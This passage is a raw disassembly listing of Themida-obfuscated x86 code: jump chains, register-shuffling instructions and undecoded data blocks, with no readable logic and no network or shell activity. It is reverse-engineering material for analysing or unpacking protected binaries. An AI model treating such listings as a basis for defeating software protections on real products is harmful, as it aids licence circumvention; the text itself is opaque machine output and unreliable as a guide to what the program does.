		dd 8168C467h, 4307E2F6h, 8E6C139h, 0E906EEC1h, 0FFFFC67Ch
; ---------------------------------------------------------------------------


loc_5184B0:				; CODE XREF: Themida_:0050CB39j
		shr	ecx, 8
		jmp	loc_50DAD6
; ---------------------------------------------------------------------------


loc_5184B8:				; CODE XREF: Themida_:0050E1E2j
		push	eax
		not	dword ptr [esp]
		jmp	loc_51CDF7
; ---------------------------------------------------------------------------


loc_5184C1:				; CODE XREF: Themida_:00511207j
		pop	esp
		jmp	loc_5118F8
; ---------------------------------------------------------------------------


loc_5184C7:				; CODE XREF: Themida_:0050CC76j
		push	28EAh
		mov	[esp], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	73E9h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_520869
; ---------------------------------------------------------------------------


loc_5184EA:				; CODE XREF: Themida_:0051289Bj
		pop	esi
		jmp	loc_5112E9
; ---------------------------------------------------------------------------
		dd 74C2815Dh, 0C1487D29h, 0F28103EAh, 76C16F0Fh, 0C281DAF7h
		dd 5F993DFBh, 5EC7EA81h, 0D301E369h, 0FF7753E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_518515:				; CODE XREF: Themida_:0050F33Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5123BC
; ---------------------------------------------------------------------------
		align 2
		dw 2404h
		dd 30AFE99Ch, 81ACFFFFh, 4ECh, 24148900h, 250D68h, 0DC9AE900h
		dd 0C381FFFFh, 149040F7h, 6AE9CB01h, 0B9FFFF44h, 4, 4244C01h
		dd 0C7E95A59h, 8300000Eh, 3C8904ECh, 10DABF24h,	23E92DCAh
		dd 81FFFF69h, 0CF1FBACBh, 5944E950h, 3487FFFFh,	0E9505C24h
		dd 0FFFFA612h, 5303EFC1h, 1105BF57h, 81472BFAh,	0B522C6EFh
		dd 81D7F71Bh, 0A61E39EFh, 0E6EF816Dh, 898A92B6h, 0EF815FFBh
		dd 630A383Fh, 0FFD907E9h, 24248BFFh, 0F68E1F7h,	8900000Eh
		dd 8B54241Ch, 8957241Ch, 0CD4CE9E7h, 0C483FFFFh, 300BE904h
		dd 0CF29FFFFh, 6F7BC781h, 6EE9598Dh, 28FFFFB0h,	5A7204D0h
		dd 71B65266h, 5A66F028h, 26766852h, 4890000h, 0E931B424h
		dd 0FFFF7A1Dh
; ---------------------------------------------------------------------------


loc_518604:				; CODE XREF: Themida_:0051CC48j
		mov	edx, 5ED1676Ah
		dec	edx
		push	eax
		mov	eax, 1D6B104Ah
		sub	eax, 169BD587h
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_513758
; ---------------------------------------------------------------------------
		db 0B1h, 0C0h, 28h
		dd 240C8BCBh, 0E9E18951h, 0FFFF31ABh
; ---------------------------------------------------------------------------


loc_518634:				; CODE XREF: Themida_:00520AC6j
		or	ecx, 1B251467h
		add	ecx, 2A7F58E9h
		sub	ecx, 124D38DEh
		not	ecx
		and	ecx, 55345FBEh
		xor	ecx, 3058016Ah
		xor	edi, ecx
		pop	ecx
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	edi, 7E40FFFh
		add	edi, edx
		add	edi, 7E40FFFh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5136AF
; ---------------------------------------------------------------------------
		db 42h
		dd 2CE4C281h, 0D0014CCAh, 4F3FE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518686:				; CODE XREF: Themida_:00512521j
		not	ebp
		add	ebp, 1F86DC83h
		add	ecx, ebp
		pop	ebp
		add	ecx, edi
		sub	ecx, 635B5D29h
		jmp	loc_50CB07
; ---------------------------------------------------------------------------
		dw 0C140h
		dd 316803E8h, 89000043h, 0E6BB241Ch, 8108443Bh,	0BD7F08CBh
		dd 5EBC148h, 0FF7520E9h, 4443B9FFh, 87512AD6h, 0D1F7240Ch
		dd 0FFE879E9h, 685558FFh, 2A54337Ah, 0E9EA315Dh, 0FFFF305Bh
; ---------------------------------------------------------------------------


loc_5186DC:				; CODE XREF: Themida_:0051830Dj
		mov	[esp], ebp
		push	edi
		push	ebp
		jmp	loc_51B7C6
; ---------------------------------------------------------------------------


loc_5186E6:				; CODE XREF: Themida_:0051E7A9j
		pop	ebp
		jmp	loc_51328B
; ---------------------------------------------------------------------------
		dd 3EE9FB01h, 5B000000h, 5F2434FFh, 0E9E38953h,	0FFFF2F9Eh
; ---------------------------------------------------------------------------


loc_518700:				; CODE XREF: Themida_:005193F5j
		pop	ecx
		add	esp, 4
		add	ebx, eax
		pop	eax
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_51F1C9
; ---------------------------------------------------------------------------


loc_51871E:				; CODE XREF: Themida_:005107FDj
		pop	esp
		mov	[esp], ebp
		mov	ebp, 5DE361BAh
		push	6A5Bh
		jmp	loc_51BF7B
; ---------------------------------------------------------------------------
a_sl_		db '__',0
		dw 8300h
		dd 0C8904ECh, 44BF5724h, 0F702DD38h, 7E7C1D7h, 40FE781h
		dd 0E3E95AD9h, 6Ch, 5787E9F0h, 94BD0000h, 5744E04Eh, 1BFh
		dd 0E9FD0100h, 0FFFF9D37h
; ---------------------------------------------------------------------------


loc_51876C:				; CODE XREF: Themida_:00510D31j
		add	ebp, 3B9B19EAh
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_510DA1
; ---------------------------------------------------------------------------


loc_51878D:				; CODE XREF: Themida_:0051D593j
		add	esp, 4
		jmp	loc_50D832
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_51B57F
; ---------------------------------------------------------------------------
		dd 3E44F781h, 0F7811AABh, 7FD18BE5h, 24048157h,	7DC42754h
		dd 54E98159h, 5F7DC427h, 9CCFE981h, 0CD890B18h,	0E9240C8Bh
		dd 42D0h
; ---------------------------------------------------------------------------


loc_5187D4:				; CODE XREF: Themida_:0051D792j
		mov	esp, [esp]
		jmp	loc_5139F5
; ---------------------------------------------------------------------------


loc_5187DC:				; CODE XREF: Themida_:0050BAEAj
		mov	[esp], ebx
		push	2
		pop	ebx
		push	esi
		mov	esi, 65709A9h
		add	ecx, 7F732517h
		add	ecx, esi
		sub	ecx, 7F732517h
		pop	esi
		add	ecx, ebx
		push	esi
		push	4A1E4F8Dh
		pop	esi
		push	ebp
		mov	ebp, 21126851h
		add	esi, ebp
		pop	ebp
		jmp	loc_520CFC
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd 4EC81h, 14890000h, 51F0B624h, 0FFF23CE9h, 240401FFh
		dd 2DB7E99Ch, 1489FFFFh, 4BA24h, 0D3010000h, 241C875Ah
		dd 5124248Bh, 4B9h, 1C07E900h, 815A0000h, 0C9554CC3h, 81C3013Dh
		dd 0C9554CEBh, 0B8503Dh, 1000000h, 4AA4E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518866:				; CODE XREF: Themida_:0051EF67j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_50D7E5
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E92434FFh, 0FFFF3F29h, 0FECC8850h, 0E9E188C4h, 50E3h
; ---------------------------------------------------------------------------


loc_518890:				; CODE XREF: Themida_:0051CB9Bj
		mov	eax, 59F65268h
		jmp	loc_5151BE
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 7D9FBE56h, 0E6C14A15h, 40CE8106h, 8141CD40h,	7B0FE7E6h
		dd 4CC68120h, 4E15D112h, 0FFD214E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5188BD:				; CODE XREF: Themida_:00519C6Bj
		mov	ebx, 36F50CBBh
		push	0
		sub	dword ptr [esp], 122794Dh
		sub	[esp], ebx
		push	esi
		jmp	loc_514438
; ---------------------------------------------------------------------------
		db 89h
		dd 27BF243Ch, 81480C34h, 0D008246Ch, 2904D732h,	0E908247Ch
		dd 0FFFF44ABh, 240C8B5Eh, 2104C483h, 9E1EE9EBh,	0EA80FFFFh
		dd 6CC28064h, 5AD528h, 240C8BE8h, 5304C483h, 1072E9h, 56535800h
		dd 4521BF57h, 0C7814026h, 599C3ABFh, 0CFCE9h, 0C7895E00h
		dd 5FFD0158h, 8124048Bh, 4C4h, 96D7E900h, 0EB31FFFFh, 0E9242C8Bh
		dd 5E31h
; ---------------------------------------------------------------------------


loc_518948:				; CODE XREF: Themida_:00518CA5j
		add	edi, esi
		pop	esi
		jmp	loc_51B6E3
; ---------------------------------------------------------------------------


loc_518950:				; CODE XREF: Themida_:0050F8EAj
		sub	esi, ebx
		pop	ebx
		jmp	loc_51EE68
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFA0E8h, 0DE87D3F7h, 0F7E2E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51896A:				; CODE XREF: Themida_:0051D7E0j
		push	esi
		jmp	loc_50FC0F
; ---------------------------------------------------------------------------
aZ4Si		db '[4$}',0
		dd 0E9D72900h, 5721h, 8324048Bh, 64E904C4h, 59000034h
		dd 50E78957h, 0AC3D68B8h, 57D8F709h, 0FFEBA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51899D:				; CODE XREF: Themida_:00511A4Ej
		mov	edx, 206E2BB6h
		jmp	loc_51AE94
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFF8h, 5E54565Fh, 4C681h, 0C6810000h, 4,	5C243487h
		dd 8704E883h, 895C2404h, 6866240Ch, 896631FCh, 0D2B42404h
		dd 8B66E188h, 0C4832404h, 80D1F602h, 0C3805BC1h, 80CB2877h
		dd 34FF77EBh, 240C8B24h, 0FFC167E9h, 0E38953FFh, 4C381h
		dd 28E90000h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518A03:				; CODE XREF: Themida_:0051698Fj
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_50F7F4
; ---------------------------------------------------------------------------


loc_518A0C:				; CODE XREF: Themida_:00514618j
		add	ebx, eax
		pop	eax
		and	eax, ebx
		jmp	loc_518DEE
; ---------------------------------------------------------------------------
		dw 5653h
		dd 4C6A7BBEh, 0CD2CE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518A22:				; CODE XREF: Themida_:0051B89Ej
		push	edx
		mov	edx, 35194E89h
		and	edx, 1ED3183Fh
		jmp	loc_514277
; ---------------------------------------------------------------------------


loc_518A33:				; CODE XREF: Themida_:005182B1j
		add	esp, 4
		push	4F35h
		jmp	loc_5154FA
; ---------------------------------------------------------------------------


loc_518A43:				; CODE XREF: Themida_:0050E2EFj
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_512058
; ---------------------------------------------------------------------------


loc_518A55:				; CODE XREF: Themida_:005203BAj
		sub	ecx, 4E923A14h
		xor	ecx, 3004558Eh
		jmp	loc_50DD4D
; ---------------------------------------------------------------------------
		dw 28Fh
		dd 1907E9h, 1126800h, 0C890000h, 2474FF24h, 240C8B04h
		dd 5E08950h, 4,	405h, 7527E900h, 0BF57FFFFh, 4,	835FFE01h
		dd 0E95604C6h, 0FFFF8A98h
; ---------------------------------------------------------------------------


loc_518AA0:				; CODE XREF: Themida_:0051C5D5j
		shl	bh, 6
		shl	bh, 7
		jmp	loc_5136E6
; ---------------------------------------------------------------------------
		db 68h
		dd 5C82h, 0BB241C89h, 487222F9h, 0E955D3F7h, 0FFFF8784h
		dd 0C381EB01h, 704D0654h, 83242C8Bh, 0C38104C4h, 4, 274068h
		dd 241C8900h, 42474FFh,	83241C8Bh, 48F04C4h, 8D5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_518AEE:				; CODE XREF: Themida_:00520892j
		pop	eax
		jmp	loc_515F7F
; ---------------------------------------------------------------------------
		dd 8B59C828h, 0E951241Ch, 0FFFFF6A6h, 68F02859h, 138Eh
		dd 0FF87ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_518B0D:				; CODE XREF: Themida_:00517C41j
		pop	ecx
		sub	ebp, 7BEB67B0h
		push	ebx
		jmp	loc_517518
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 28F28104h, 81418740h, 0CA50B4EAh, 0A0EA817Bh, 1D6AE51h
		dd 0EB815AD3h, 4, 0E9241C87h, 6620h, 66EB8766h,	3166DDF7h
		dd 0DD3166EBh, 66EB3166h, 0F381664Bh, 316641FFh, 89665BDDh
		dd 795CE9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_518B62:				; CODE XREF: Themida_:00521000j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ecx
		mov	ecx, 47327738h
		mov	eax, ecx
		jmp	loc_520DF9
; ---------------------------------------------------------------------------


loc_518B8A:				; CODE XREF: Themida_:0050DA3Bj
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_50DEDF
; ---------------------------------------------------------------------------
a_sa1		db '_1',0
		align 2
		dw 0D501h
		dd 8124148Bh, 4C4h, 242C3300h, 33242C31h, 665C242Ch, 9C2424D3h
		dd 0FF2A1CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_518BC9:				; CODE XREF: Themida_:0051D0F0j
		sub	esi, ebp
		jmp	loc_51A4D8
; ---------------------------------------------------------------------------


loc_518BD0:				; CODE XREF: Themida_:00512397j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	edi
		mov	edi, 7060622Ah
		add	edi, 0CD5D0121h
		push	edx
		mov	edx, 3CB61C91h
		jmp	loc_5194FF
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 4
		dd 87000000h, 895C242Ch, 4BE2434h, 0E9000000h, 0FFFF65ACh
; ---------------------------------------------------------------------------


loc_518C0C:				; CODE XREF: Themida_:00510298j
		mov	esi, 44E64BA6h
		push	ebx
		push	edi
		mov	edi, 2DD50D96h
		sub	edi, 0A28AE41h
		mov	ebx, edi
		pop	edi
		and	esi, ebx
		pop	ebx
		add	esi, 0FFFFFFFFh
		jmp	loc_5208FA
; ---------------------------------------------------------------------------


loc_518C2F:				; CODE XREF: Themida_:0051C07Bj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_51ED6E
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C483240Ch, 2B136804h, 41E90000h, 83FFFFC9h,	63E904EAh
		dd 57000083h, 0FF3797E9h, 9C5166FFh, 0FF2984E9h, 255BB8FFh
		dd 0C5316673h, 0FCD0E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518C6E:				; CODE XREF: Themida_:0050C95Ej
		mov	[esp], eax
		jmp	loc_51A86A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5BE9240Ch
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518C7F:				; CODE XREF: Themida_:00519B48j
		sub	ebx, ebp
		pop	ebp
		push	418Ch
		mov	[esp], ebx
		pop	edx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_518948
; ---------------------------------------------------------------------------


loc_518CAA:				; CODE XREF: Themida_:0050EC1Bj
		add	edx, eax
		pop	eax
		add	edx, 4
		jmp	loc_51C9B7
; ---------------------------------------------------------------------------


loc_518CB5:				; CODE XREF: Themida_:0050C75Cj
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		push	4534h
		mov	[esp], edi
		jmp	loc_514951
; ---------------------------------------------------------------------------
		dd 0C381CB01h, 15B00E6Bh, 241C8759h, 3324248Bh,	34312434h
		dd 24343324h, 6624248Bh, 0E99CC83Bh, 0FFFF28F9h
; ---------------------------------------------------------------------------


loc_518CEC:				; CODE XREF: Themida_:00515A1Ej
		mov	ecx, 277F2CC9h
		jmp	loc_511077
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 26E95324h, 56FFFF56h, 0D2E9E689h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518D07:				; CODE XREF: Themida_:00513566j
		push	785Ah
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_520F70
; ---------------------------------------------------------------------------


loc_518D22:				; CODE XREF: Themida_:0050F03Aj
		or	eax, 300035D1h
		jmp	loc_51FFD1
; ---------------------------------------------------------------------------


loc_518D2C:				; CODE XREF: Themida_:005140AAj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_50EE22
; ---------------------------------------------------------------------------


loc_518D37:				; CODE XREF: Themida_:0051CBDCj
		inc	ebx
		not	ebx
		shr	ebx, 5
		shr	ebx, 7
		add	ebx, 3DAD76A0h
		jmp	loc_51E11D
; ---------------------------------------------------------------------------
		db 81h
		dd 0C46711E1h, 0E981410Bh, 10270FBEh, 0F147F181h, 5EE9EFD8h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_518D63:				; CODE XREF: Themida_:0051A946j
		push	ebx
		mov	ebx, 4
		add	eax, 27BF21DFh
		sub	eax, 436E2DA9h
		add	eax, ebx
		push	4DF3h
		mov	[esp], ecx
		mov	ecx, 436E2DA9h
		add	eax, ecx
		jmp	loc_515814
; ---------------------------------------------------------------------------
		db 0BBh, 16h, 4Fh
		dd 0C381239Bh, 183BC478h, 565BD829h, 19065E68h,	0B9E95E1Bh
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518DA3:				; CODE XREF: Themida_:00513E37j
		xor	edx, 67C2496Ah
		shl	edx, 7
		neg	edx
		inc	edx
		xor	edx, 66AA4E6Ah
		xor	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, ecx
		jmp	loc_5118D0
; ---------------------------------------------------------------------------
		dd 1EE81h, 0D6F70000h, 43EDF681h, 0F1294938h, 0FF31D2E9h
		dd 4EC81FFh, 89000000h,	5350240Ch, 64B02EB7h, 245BF830h
		dd 0A33E94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_518DEE:				; CODE XREF: Themida_:00518A11j
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_51B6EF
		push	dword ptr [edi+28h]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6E8A4124h
		jmp	loc_519AFF
; ---------------------------------------------------------------------------


loc_518E0F:				; CODE XREF: Themida_:00517F2Dj
		mov	eax, [esp]
		add	esp, 4
		push	1DCFh
		mov	[esp], ecx
		mov	ecx, 17B43CADh
		dec	ecx
		xor	ecx, 3FEC2722h
		xor	ecx, 75031C96h
		jmp	loc_516D39
; ---------------------------------------------------------------------------


loc_518E37:				; CODE XREF: Themida_:0050E8E4j
		sub	edx, 1DB62BD4h
		sub	edx, 810B3300h
		add	ebx, edx
		pop	edx
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_51C55B
; ---------------------------------------------------------------------------
aVsf		db 'Vf[',0
		dw 5E00h
		dd 4C481h, 0C4810000h, 4, 6407E9h, 0EA815A00h, 4A1D1D9Ah
		dd 4987C681h, 0C6815923h, 6608195Ch, 0EE81D601h, 6608195Ch
		dd 4987EE81h, 555A5923h, 2BDh, 0B137E900h, 0D0F7FFFFh
		dd 5FD1782Dh, 58C23151h, 0E95AD789h, 0FFFF5114h
; ---------------------------------------------------------------------------


loc_518EA8:				; CODE XREF: Themida_:00513492j
		xchg	edi, [esp]
		pop	esp
		xor	ch, 1
		push	2539h
		mov	[esp], eax
		mov	al, 77h
		jmp	loc_50C267
; ---------------------------------------------------------------------------
		dw 1429h
		dd 24148B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_520B04
; ---------------------------------------------------------------------------


loc_518ECC:				; CODE XREF: Themida_:0051FC31j
		sub	esp, 4
		jmp	loc_50BC69
; ---------------------------------------------------------------------------
		dd 4EA81h, 14870000h, 5EE95C24h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518EE3:				; CODE XREF: Themida_:0051AB24j
		xor	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_50D9D7
; ---------------------------------------------------------------------------


loc_518EED:				; CODE XREF: Themida_:00516348j
		xor	edx, [esp]
		pop	esp
		pop	eax
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	31F9h
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_51564E
; ---------------------------------------------------------------------------
		dd 0C380CB28h, 5A59662Bh, 0FF4D13E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_518F25:				; CODE XREF: Themida_:00512717j
		or	eax, 2A7D7CA6h
		push	ecx
		push	ebp
		mov	ebp, 0FFFFFFFFh
		mov	ecx, ebp
		pop	ebp
		add	eax, ecx
		pop	ecx
		add	eax, 9000801Ch
		mov	ecx, eax
		jmp	loc_511F10
; ---------------------------------------------------------------------------
aYs_0		db 'Y;',0
		db 0
; ---------------------------------------------------------------------------


loc_518F49:				; CODE XREF: Themida_:0051445Cj
		mov	ebp, [esp]
		add	esp, 4
		mov	[edi+24h], ecx
		jmp	loc_515A5C
; ---------------------------------------------------------------------------
a3FS2		db '3<$\f$$2',0
		align 4
		dd 7D8BBD55h, 39BB0F71h, 2929D4D0h, 8FE95DEBh
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518F7B:				; CODE XREF: Themida_:005108A4j
		push	7676h
		mov	[esp], edx
		push	eax
		jmp	loc_50E221
; ---------------------------------------------------------------------------
		db 0BBh, 22h, 9Eh
		dd 0D301EC36h, 0FFE1F0E9h, 240489FFh, 4BD55h, 0E8890000h
		dd 2E05E95Dh, 0C6800000h, 1C680BCh, 0F7885366h,	0FE88D7F6h
		dd 53665B66h, 0FE284FB7h, 73E95B66h, 59FFFF58h,	215BB53h
		dd 0B1E9549Ah
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_518FCF:				; CODE XREF: Themida_:0050C047j
		mov	[esp], ecx
		jmp	loc_51F64A
; ---------------------------------------------------------------------------
		db 81h
		dd 2D371CEAh, 8BD33129h, 0C4832414h, 0C5E95504h, 57FFFFB4h
		dd 9B2410BFh, 0E5DAE9E8h, 0D1F7FFFFh, 0C2B4F181h, 0C281D824h
		dd 591243EFh, 0FF907CE9h, 1275BAFFh, 0CAE92BC2h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_519013:				; CODE XREF: Themida_:0050E556j
		sub	eax, 13A5BA55h
		push	eax
		jmp	loc_51BB96
; ---------------------------------------------------------------------------
		dw 5355h
		dd 114FBEBBh, 5864BD7Ah, 0DD29EF79h, 664DE9h, 0D1D9F700h
		dd 67F181E9h, 8173080Dh, 0A9113BEAh, 55EA815Ch,	293E7A39h
		dd 55C281CAh, 813E7A39h, 0A9113BC2h, 86DFE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51905A:				; CODE XREF: Themida_:00513775j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	ebx, edi
		pop	edi
		add	[edi+24h], ebx
		pop	ebx


loc_519074:				; CODE XREF: Themida_:0051A493j
		push	5CCDh
		mov	[esp], ebx
		push	ebp
		mov	ebp, 1BD869F8h
		sub	dword ptr [esp+4], 3A742A79h
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 3A742A79h
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	512h
		mov	[esp], ecx
		mov	ecx, 35EC2548h
		push	edi
		jmp	loc_517D4B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F662424h, 9C2404ABh, 0FF2524E9h, 4C681FFh, 0E9000000h
		dd 0FFFFA881h, 1BA36852h, 815A1EB0h, 40083EC2h,	27ED8112h
		dd 131E176h, 27C581D5h,	8B31E176h, 0C4812414h, 4, 83243C8Bh
		dd 0BA5204C4h, 0CB448A8h, 0C4E9D101h, 0BDFFFFA6h, 43BA4E1Dh
		dd 4246C31h, 0E950595Dh, 0FFFF65AFh
; ---------------------------------------------------------------------------


loc_519114:				; CODE XREF: Themida_:0050E79Dj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_512FA9
; ---------------------------------------------------------------------------
		dd 0B6241489h, 516653F6h, 1E03E9h, 74FF5200h, 8F5A0424h
		dd 248B2404h, 240C8924h, 790668h, 48F5400h, 32E95724h
		dd 5EFFFF8Eh, 0F878E605h, 2DD80161h, 61F878E6h,	1CB2D5Bh
		dd 0F80155CAh, 1CBBB53h, 9E955CAh
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51916F:				; CODE XREF: Themida_:0051C9FBj
		mov	ebp, 3FCD27DCh
		mov	eax, ebp
		jmp	loc_511FFA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68100h, 68000000h, 3291h, 0FFAD4FE9h, 81E389FFh
		dd 4C3h, 0EC835500h, 241C8904h,	2A2E9BBBh, 8B5D5303h, 0ACE9241Ch
		dd 83FFFF95h, 343302EEh, 97C4E924h, 0CB01FFFFh,	9315E959h
		dd 159FFFFh, 3BC781CFh,	597CF33Fh, 0BE56CF01h, 28A03776h
		dd 7C69EE81h, 0F5E96B6Eh, 56FFFF89h, 42474FFh, 24048F5Eh
		dd 8924248Bh, 0B951242Ch, 28114C6Bh, 6AC6BB53h,	0DD8989A6h
		dd 81241C8Bh, 4C4h, 0E9CD2900h,	0FFFFBD66h, 4C481h, 79050000h
		dd 296FCC41h, 41792DD0h, 525A6FCCh, 0FFE9C9E9h,	405FFh
		dd 0E8830000h, 24048704h, 242C895Ch, 4EC81h, 34890000h
		dd 815E5424h, 4C6h, 91E95100h, 21FFFFB1h, 0E9505EF3h, 0FFFF54B1h
		dd 519FEF81h, 0EF813A3Fh, 0FFFFFFFFh, 0FFC053E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_519265:				; CODE XREF: Themida_:0051F0A0j
		xor	esi, 324D5673h
		jmp	loc_510BB2
; ---------------------------------------------------------------------------


loc_519270:				; CODE XREF: Themida_:0051B145j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_50BC16
; ---------------------------------------------------------------------------
		db 81h
		dd 268270F5h, 0FFE83148h, 815D2434h, 4C4h, 0FFC33100h
		dd 234BE930h, 0E289FFFFh, 4C281h, 0C2810000h, 4, 4B0F68h
		dd 24148900h, 42474FFh,	44FBE95Ah, 8956FFFFh, 4C681E6h
		dd 81000000h, 4C6h, 0F2B4E900h,	295EFFFFh, 5304246Ch, 6220E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5192DA:				; CODE XREF: Themida_:0050EC51j
		push	edx
		mov	edx, 75F0232Ch
		sub	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	ecx, esi
		jmp	loc_51A7BE
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7CE277BCh, 29BBA52h,	0FEE9283Eh, 31000027h, 0DD43E9F2h
		dd 182CFFFFh, 0E953E800h, 0FFFF50CEh, 0BCE9ABB7h, 5A00004Eh
		dd 8B24048Fh, 89662424h, 0BAE92404h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51932B:				; CODE XREF: Themida_:00520504j
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	edi
		jmp	loc_512960
; ---------------------------------------------------------------------------
		dw 0BC68h
		dd 8900002Eh, 2B82404h,	1000000h, 1DE958C5h, 0FF000016h
		dd 0C8B2434h, 3681E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51935A:				; CODE XREF: Themida_:0051DBF2j
		push	dword ptr [esp]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_51F168
; ---------------------------------------------------------------------------


loc_519377:				; CODE XREF: Themida_:005149A8j
		push	edi
		jmp	loc_5130E5
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 1AFAE9h, 4C38300h, 0FF4156E9h, 24048FFFh, 24143151h
		dd 31241433h, 39E92414h, 5AFFFF97h, 4FE9D829h, 29FFFFF9h
		dd 49E95EF7h, 89000064h, 0E9572404h, 0FFFF5BDEh
; ---------------------------------------------------------------------------


loc_5193B8:				; CODE XREF: Themida_:0051BF8Fj
		add	esp, 4
		jmp	loc_516451
; ---------------------------------------------------------------------------
		db 8Bh
		dd 17E92424h, 4FFFFB3h,	0E9D004AAh, 0FFFF2C80h
; ---------------------------------------------------------------------------


loc_5193D4:				; CODE XREF: Themida_:00511A92j
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_520F7E
; ---------------------------------------------------------------------------


loc_5193E3:				; CODE XREF: Themida_:0050F6BEj
		push	0EA7h
		mov	[esp], ecx
		mov	ecx, 0FEADF3D4h
		add	eax, ecx
		push	dword ptr [esp]
		jmp	loc_518700
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0DD011CC7h, 81C70133h, 0DD011CEFh, 2434FF33h, 5F545758h
		dd 4C781h, 0EC810000h, 4, 0B8240489h, 4, 48BC701h, 26C1E924h
